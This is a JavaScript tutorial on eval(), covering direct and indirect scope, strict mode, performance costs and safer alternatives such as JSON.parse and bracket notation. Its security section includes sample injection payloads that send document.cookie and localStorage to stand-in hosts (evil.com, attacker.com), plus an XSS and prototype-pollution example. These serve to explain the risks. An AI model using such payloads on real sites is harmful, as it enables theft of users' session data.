Skip to main content

Understanding eval() in JavaScript and Why You Should Avoid It

Every programming language has features that are powerful but dangerous. In JavaScript, eval() sits at the very top of that list. It takes a string of code and executes it at runtime, giving you the ability to dynamically generate and run any JavaScript. This sounds incredibly flexible, and it is, but that flexibility comes at a steep cost in security, performance, and maintainability.

This guide explains exactly how eval() works, why it exists, what makes it dangerous, and most importantly, what safer alternatives you should use instead.

eval(): Executing Dynamic Code

The eval() function takes a single string argument and executes it as JavaScript code. It returns the result of the last expression evaluated.

eval("2 + 2");        // 4

eval("console.log('Hello from eval')"); // prints: Hello from eval

let result = eval("let x = 10; let y = 20; x + y;");
console.log(result); // 30

The string can contain anything that is valid JavaScript: variable declarations, function definitions, loops, conditionals, and even class definitions:

eval("function greet(name) { return 'Hello, ' + name; }");
console.log(greet("Alice")); // "Hello, Alice"

eval(`
for (let i = 0; i < 3; i++) {
console.log("Iteration: " + i);
}
`);
// Iteration: 0
// Iteration: 1
// Iteration: 2

If the string is not valid JavaScript, eval() throws a SyntaxError:

eval("this is not valid code");
// SyntaxError: Unexpected identifier

If the string contains multiple statements, eval() executes all of them but only returns the value of the last expression:

let result = eval("1 + 1; 2 + 2; 3 + 3;");
console.log(result); // 6 (only the last expression's result)

eval() Can Access and Modify the Local Scope

This is where things get interesting and dangerous. A direct call to eval() can read and write variables in the surrounding scope:

let message = "original";

eval('message = "modified by eval"');

console.log(message); // "modified by eval"

It can even declare new variables that become visible in the surrounding scope (in non-strict mode):

eval("var newVar = 42;");
console.log(newVar); // 42
warning

The ability to read and modify the local scope is exactly what makes eval() dangerous. Code that you cannot see at write time can silently change your variables at runtime.

Scope of eval: Direct vs. Indirect

JavaScript distinguishes between two types of eval() calls, and they behave very differently.

Direct eval

A direct eval is a call where you literally write eval(...). It executes the code in the current lexical scope, meaning it can access and modify local variables:

function directExample() {
let secret = "hidden";
eval('console.log(secret)'); // "hidden" (accesses the local variable9
}

directExample();

Indirect eval

An indirect eval is any call to eval that does not look like a plain eval(...) call. It executes the code in the global scope instead:

function indirectExample() {
let secret = "hidden";

// All of these are indirect eval calls:
const myEval = eval;
myEval('console.log(typeof secret)'); // "undefined" (no access to local scope)

(0, eval)('console.log(typeof secret)'); // "undefined"

window.eval('console.log(typeof secret)'); // "undefined"
}

indirectExample();

The (0, eval) trick is the most common pattern for indirect eval. The comma operator evaluates 0 (discards it), then returns eval, but the call is no longer a "direct" reference to eval, so it runs in global scope.

Comparing Direct and Indirect

let globalVar = "I am global";

function scopeTest() {
let localVar = "I am local";

// Direct eval: sees local scope
console.log(eval("localVar")); // "I am local"

// Indirect eval: sees only global scope
const indirectEval = eval;
try {
console.log(indirectEval("localVar"));
} catch (e) {
console.log(e.message); // "localVar is not defined"
}

// Indirect eval CAN see global variables
console.log(indirectEval("globalVar")); // "I am global"
}

scopeTest();

Strict Mode Changes the Behavior

In strict mode, even direct eval() gets its own scope. Variables declared inside eval() do not leak into the surrounding scope:

"use strict";

eval("var x = 10;");
// console.log(x); // ReferenceError: x is not defined

eval("let y = 20;");
// console.log(y); // ReferenceError: y is not defined

Compare this with non-strict mode:

// Non-strict mode
eval("var x = 10;");
console.log(x); // 10 (leaked into the outer scope!)
tip

If you absolutely must use eval(), always use strict mode to prevent variable leakage. ES modules run in strict mode by default, so this is automatically handled in module files.

Security Risks

The security dangers of eval() cannot be overstated. By executing arbitrary strings as code, you open the door to some of the most severe vulnerabilities in web security.

Code Injection

If eval() processes any input that comes from users, URLs, databases, APIs, or any external source, an attacker can inject malicious code:

// Imagine a "calculator" feature
function calculate(expression) {
return eval(expression); // DANGEROUS!
}

// Normal usage
calculate("2 + 2"); // 4

// Attacker input
calculate("(function() { document.location = 'https://evil.com/steal?cookie=' + document.cookie })()");
// The user's cookies are sent to the attacker's server

Cross-Site Scripting (XSS)

When user input reaches eval() in a web application, it becomes a direct XSS vector:

// A URL like: https://example.com/page?input=alert(document.cookie)
const params = new URLSearchParams(window.location.search);
const userInput = params.get("input");

eval(userInput); // Attacker's code runs in the user's browser

Data Exfiltration

Even seemingly harmless uses can be exploited. An attacker does not need alert() to cause damage:

// Attacker could inject:
eval(`
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: window.location.href
})
})
`);

Prototype Pollution via eval

// Attacker injects code that modifies Object prototype
eval("Object.prototype.isAdmin = true;");

const user = {};
console.log(user.isAdmin); // true (every object is now "admin")
danger

Never pass user input to eval(), not directly, not indirectly, not "sanitized," not "validated." There is no reliable way to sanitize a string before eval(). The only safe input for eval() is a string that your own code generated entirely, and even then, there is almost always a better approach.

Content Security Policy (CSP)

Modern web applications use Content Security Policy headers to block eval() entirely. If your site sets a proper CSP, eval() will throw an error:

Content-Security-Policy: script-src 'self'
eval("1 + 1");
// EvalError: Refused to evaluate a string as JavaScript because
// 'unsafe-eval' is not an allowed source of script

To allow eval(), you would need to add 'unsafe-eval' to your CSP, which weakens your entire security posture. Many security audits will flag this as a vulnerability.

Performance Impact

Beyond security, eval() causes significant performance problems.

JavaScript Engine Optimization Breakdown

Modern JavaScript engines (V8, SpiderMonkey, JavaScriptCore) use sophisticated optimizations: Just-In-Time (JIT) compilation, inline caching, hidden classes, and more. These optimizations rely on the engine's ability to analyze your code before it runs.

eval() breaks this analysis. When the engine sees eval(), it must assume that any variable in the current scope could be read or modified by the eval'd code. This forces the engine to:

  1. Skip optimizations for the entire function containing eval()
  2. Keep all local variables in memory (they cannot be optimized away)
  3. Disable inline caching for variable lookups in that scope
  4. Compile the string at runtime instead of ahead of time
// This function CANNOT be fully optimized by the engine
function withEval(input) {
let a = 1;
let b = 2;
let c = 3;
// Engine must keep a, b, c alive because eval might reference them
eval(input);
return a + b + c;
}

// This function CAN be fully optimized
function withoutEval() {
let a = 1;
let b = 2;
let c = 3;
return a + b + c;
}

Benchmark: eval() vs. Direct Code

// Slow: parsing and compiling at runtime
console.time("eval");
for (let i = 0; i < 100_000; i++) {
eval("let x = " + i + " * 2;");
}
console.timeEnd("eval"); // ~500-2000ms (varies by engine)

// Fast: pre-compiled
console.time("direct");
for (let i = 0; i < 100_000; i++) {
let x = i * 2;
}
console.timeEnd("direct"); // ~1-5ms

The Scope Deoptimization Problem

Even if eval() runs trivial code, its mere presence in a function deoptimizes the entire function:

function deoptimized() {
let count = 0;
for (let i = 0; i < 1_000_000; i++) {
count += i;
}
eval(""); // Does nothing, but deoptimizes the entire function
return count;
}

function optimized() {
let count = 0;
for (let i = 0; i < 1_000_000; i++) {
count += i;
}
return count;
}

In some engines, deoptimized() can run measurably slower than optimized() even though the eval("") call does absolutely nothing.

info

Indirect eval (like (0, eval)(code)) causes less scope deoptimization because the engine knows it runs in global scope, not the local scope. But it still incurs the runtime compilation cost and all the security risks.

Alternatives to eval()

For virtually every use case where developers reach for eval(), a better, safer alternative exists.

JSON.parse() for Data

The most common misuse of eval() is parsing JSON data. In older JavaScript (before JSON.parse existed), eval() was actually used for this:

// WRONG: The old, dangerous way
const data = eval("(" + jsonString + ")");

// CORRECT: The safe, fast, modern way
const data = JSON.parse(jsonString);

JSON.parse() only accepts valid JSON. It cannot execute arbitrary code, which makes it completely safe:

// eval would execute this malicious "JSON"
eval('({ "name": "Alice", "hack": (function() { /* malicious code */ })() })');

// JSON.parse safely rejects it
JSON.parse('{ "name": "Alice", "hack": "some value" }'); // Only parses valid JSON

new Function() for Dynamic Code Generation

If you need to create a function from a string, new Function() is safer than eval() because it does not access the local scope. It only has access to global variables and its own parameters:

// eval: accesses local scope (dangerous)
function withEval() {
let secret = "password123";
eval('console.log(secret)'); // "password123" (eval sees local variables)
}

// new Function: does NOT access local scope (safer)
function withNewFunction() {
let secret = "password123";
const fn = new Function('console.log(typeof secret)');
fn(); // "undefined" (cannot see local variables)
}

withEval();
withNewFunction();

You can define parameters and use them:

const add = new Function("a", "b", "return a + b;");
console.log(add(3, 4)); // 7

const greet = new Function("name", "return 'Hello, ' + name + '!';");
console.log(greet("Alice")); // "Hello, Alice!"
caution

new Function() is safer than eval() because it cannot access local variables, but it still executes arbitrary code strings. It carries many of the same security risks as eval() if used with untrusted input. It is also blocked by CSP without 'unsafe-eval'.

Computed Property Access Instead of eval

A common pattern where developers mistakenly use eval() is dynamic property access:

// WRONG: Using eval for dynamic property access
const propName = "name";
const value = eval("obj." + propName);

// CORRECT: Bracket notation
const value = obj[propName];

This also works for nested paths:

// WRONG: eval for nested access
eval("obj.user.address.city");

// CORRECT: A helper function
function getNestedValue(obj, path) {
return path.split(".").reduce((current, key) => current?.[key], obj);
}

const obj = { user: { address: { city: "Paris" } } };
console.log(getNestedValue(obj, "user.address.city")); // "Paris"
console.log(getNestedValue(obj, "user.phone.number")); // undefined (safe)

The Function Constructor for Mathematical Expressions

If you need to evaluate simple mathematical expressions (like in a calculator app), you can create a restricted evaluator:

// WRONG: eval for math
function calculate(expr) {
return eval(expr); // Dangerous!
}

// BETTER: new Function with validation
function safeCalculate(expr) {
// Allow only numbers, operators, parentheses, and whitespace
if (!/^[\d+\-*/().\s]+$/.test(expr)) {
throw new Error("Invalid expression");
}
return new Function(`return (${expr});`)();
}

console.log(safeCalculate("2 + 3 * (4 - 1)")); // 11
console.log(safeCalculate("10 / 3")); // 3.333...

safeCalculate("alert('hacked')");
// Error: Invalid expression
tip

For production calculator features, use a proper math expression parser library like math.js or expr-eval. These parse expressions into an AST (Abstract Syntax Tree) and evaluate them without ever running arbitrary code.

Object/Map Lookup Instead of eval for Branching

Sometimes eval() is used to dynamically call functions by name:

// WRONG: eval for dynamic dispatch
function processAction(actionName) {
eval(actionName + "()");
}

// CORRECT: Object lookup
const actions = {
save() { console.log("Saving..."); },
delete() { console.log("Deleting..."); },
update() { console.log("Updating..."); }
};

function processAction(actionName) {
const action = actions[actionName];
if (action) {
action();
} else {
throw new Error(`Unknown action: ${actionName}`);
}
}

processAction("save"); // "Saving..."
processAction("delete"); // "Deleting..."
processAction("hack"); // Error: Unknown action: hack

setTimeout and setInterval with Strings

Both setTimeout and setInterval accept strings as their first argument, which behaves like eval():

// WRONG: String argument (uses eval internally)
setTimeout("console.log('hello')", 1000);

// CORRECT: Function argument
setTimeout(() => console.log("hello"), 1000);

Template Literals for String Interpolation

Sometimes eval() is used for dynamic string building:

// WRONG: eval for string interpolation
const name = "Alice";
const greeting = eval("`Hello, ${name}!`");

// CORRECT: Just use template literals directly
const greeting = `Hello, ${name}!`;

Structured Clone for Deep Copying

// WRONG: eval-based deep copy trick
const copy = eval("(" + JSON.stringify(original) + ")");

// CORRECT: structuredClone
const copy = structuredClone(original);

// ALSO CORRECT: JSON round-trip (with known limitations)
const copy = JSON.parse(JSON.stringify(original));

Summary of Alternatives

Use CaseInstead of eval()Use This
Parse JSONeval('(' + json + ')')JSON.parse(json)
Dynamic property accesseval('obj.' + prop)obj[prop]
Dynamic function calleval(fnName + '()')actions[fnName]()
Math expressionseval(expr)math.js, expr-eval library
Dynamic function creationeval('function...')new Function(...)
String interpolationeval(templateStr)Template literals
Timer with stringsetTimeout('code', ms)setTimeout(fn, ms)
Deep copyeval('(' + JSON.stringify(o) + ')')structuredClone(o)

When is eval() Acceptable?

In practice, the legitimate use cases for eval() are extremely rare. Here are the few scenarios where it might be considered:

Developer tools and debugging: Browser DevTools consoles use eval() internally. This is expected and runs in a privileged context.

Code playgrounds and online editors: Sites like CodePen, JSFiddle, or educational platforms intentionally execute user code. They use sandboxing techniques (iframes with different origins, Web Workers, or server-side execution) to limit the damage.

Transpilers and build tools: Tools like Babel or Webpack may use eval() or new Function() internally during the build process, not at runtime in the browser.

Backward compatibility with legacy systems: Some ancient codebases may depend on eval() in ways that are too costly to refactor immediately.

Even in these cases, the code using eval() is typically sandboxed, running in an environment where the security implications are understood and mitigated.

// Example: A sandboxed evaluator using an iframe
function sandboxedEval(code) {
return new Promise((resolve, reject) => {
const iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.sandbox = "allow-scripts";
document.body.appendChild(iframe);

try {
const result = iframe.contentWindow.eval(code);
resolve(result);
} catch (e) {
reject(e);
} finally {
document.body.removeChild(iframe);
}
});
}
danger

The golden rule: never use eval() unless you have exhausted every alternative, you fully understand the security implications, and you have implemented proper sandboxing. In a typical web application, there is always a better way.

Quick Reference

AspectDetails
Syntaxeval(string)
ReturnsResult of last evaluated expression
Direct evalAccesses local scope
Indirect evalRuns in global scope only
Strict modeCreates its own scope, no variable leakage
SecurityVulnerable to code injection and XSS
PerformanceDeoptimizes containing function, runtime compilation
CSPBlocked unless 'unsafe-eval' is explicitly allowed
Best alternativeDepends on use case (see table above)

The existence of eval() in JavaScript is a historical artifact from the language's early days when flexibility was prioritized over security. Modern JavaScript provides enough tools, from bracket notation to JSON.parse to Proxy to new Function, that eval() is effectively never needed in application code. Treat it as a language feature you understand but never use.